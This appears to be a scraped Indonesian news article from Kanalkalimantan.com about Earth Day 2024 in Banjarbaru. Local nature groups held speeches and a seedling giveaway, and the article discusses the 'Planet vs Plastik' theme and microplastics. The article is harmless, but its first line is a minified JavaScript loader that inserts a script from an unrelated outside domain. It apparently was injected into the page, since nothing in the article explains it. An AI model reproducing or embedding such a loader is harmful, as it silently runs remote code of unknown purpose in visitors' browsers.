(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Setiap tanggal 22 April, masyarakat seluruh dunia memperingati Hari Bumi atau Earth Day. Hari Bumi merupakan pengingat akan pentingnya pelestarian dan keberlanjutan lingkungan.
Memperingati Hari Bumi, komunitas pencinta alam Kalimantan Selatan menggelar orasi dan pembagian bibit tanaman di Bundaran Simpang Empat Banjarbaru, Sabtu (20/4/2024).
Momentum peringatan Hari Bumi di ibu kota Kalsel sebagai bentuk kampanye lingkungan dan menjadi ajang silaturahmi pencinta alam Kalsel.
Ketua Pelaksana Peringatan Hari Bumi, Muhammad Rida Fahlevi menjelaskan bahwa konsep acara ini melakukan aksi kampanye dan membagikan bibit.
Baca juga: LPTQ HSU Membidik Tiga Besar MTQ ke-35 Kalsel di Tapin
“Pertama melakukan aksi kampanye, membagikan bibit, orasi dan dilanjut mimbar bebas, serta live music pada malam harinya,” kata Rida Fahlevi.
Salah satu peserta kampanye menanggapi bahwa peringatan Hari Bumi Sedunia upaya menyadarkan kembali masyarakat akan pentingnya menjaga kelestarian lingkungan.
Acara pada pukul 15.00 Wita itu, diawali kumpul bersama pencinta alam Kalimantan Selatan di Bundaran Simpang Empat Banjarbaru. Pembagian bibit tanaman habis dalam waktu sekejap, meski sempat terjadi kemacetan panjang saat kegiatan berlangsung. Atas bantuan aparat kepolisian kemacetan bisa diurai.
Baca juga: Pergi Memancing Sejak Pagi, Suryani ‘Pulang’ dari Pinggir Danau Bekas Galian C
“Semoga acara peringatan Hari Bumi ini bukan acara hari terakhir yang dilaksanakan pencinta alam Kalimantan Selatan,” tambah Rida.
Tema Hari Bumi 2024
Hari Bumi memiliki tema yang berbeda setiap tahunnya, dilansir dari laman Earth Day, Hari Bumi 2024 mengusung tema “Planet vs Plastik”. Tema ini sebagai bentuk seruan untuk mengakhiri penggunaan plastik dan menjaga kesehatan setiap makhluk hidup di bumi.
Tema ini menyoroti urgensi mengurangi penggunaan plastik yang berdampak negatif terhadap lingkungan.
Baca juga: Ini Dugaan Penyebab Kematian Lelaki di Pinggir Danau Jalan Batu Besi
Plastik bukan hanya sekadar masalah lingkungan hidup, hal ini menimbulkan ancaman besar terhadap kesehatan manusia dan perubahan iklim. Saat plastik terurai menjadi mikroplastik, plastik melepaskan bahan kimia beracun ke dalam sumber makanan dan air, lalu beredar melalui udara yang dihirup.
Produksi plastik kini telah meningkat hingga lebih dari 380 juta ton per tahun. Bahkan setelah plastik hancur, plastik tetap menjadi mikroplastik, partikel kecil yang meresap ke setiap ruang kehidupan di bumi. (Kanalkalimantan.com/mpaf)
Reporter: mpaf
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
This website uses cookies.